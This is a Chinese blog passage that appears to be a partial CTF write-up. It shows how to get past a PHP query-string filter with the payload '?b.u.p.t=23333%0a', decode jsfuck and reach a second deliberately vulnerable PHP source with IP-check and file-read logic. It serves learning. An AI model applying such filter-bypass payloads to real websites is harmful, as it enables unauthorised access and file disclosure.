标签：函数 head san 代码 mission substr perm neu bst
进去后查看源码得到
<!-- //1st $query = $_SERVER[‘QUERY_STRING‘]; if( substr_count($query, ‘_‘) !== 0 || substr_count($query, ‘%5f‘) != 0 ){ die(‘Y0u are So cutE!‘); } if($_GET[‘b_u_p_t‘] !== ‘23333‘ && preg_match(‘/^23333$/‘, $_GET[‘b_u_p_t‘])){ echo "you are going to the next ~"; } !-->
$query中不能出现_或者%5f，可以使用.绕过，get方式提交的.会被转变成_
$b_u_p_t要等于23333，但是不能被匹配到23333，在末尾添加%0a绕过
payload: ?b.u.p.t=23333%0a
得到提示secrettw.php
访问并查看源码得到一堆jsfuck代码
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直接F12，复制到console里，按下回车，弹出post me Merak
post Merak，得到源码
<?php error_reporting(0); #include ‘takeip.php‘; ini_set(‘open_basedir‘,‘.‘); #include ‘flag.php‘; if(isset($_POST[‘Merak‘])){ highlight_file(__FILE__); die(); } function change($v){ $v = base64_decode($v); $re = ‘‘; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; } echo ‘Local access only!‘."<br/>"; $ip = getIp(); if($ip!=‘127.0.0.1‘) echo "Sorry,you don‘t have permission! Your ip is :".$ip; if($ip === ‘127.0.0.1‘ && file_get_contents($_GET[‘2333‘]) === ‘todat is a happy day‘ ){ echo "Your REQUEST is:".change($_GET[‘file‘]); echo file_get_contents(change($_GET[‘file‘])); } ?>
标签：函数 head san 代码 mission substr perm neu bst
原文地址：https://www.cnblogs.com/mech/p/12891966.html
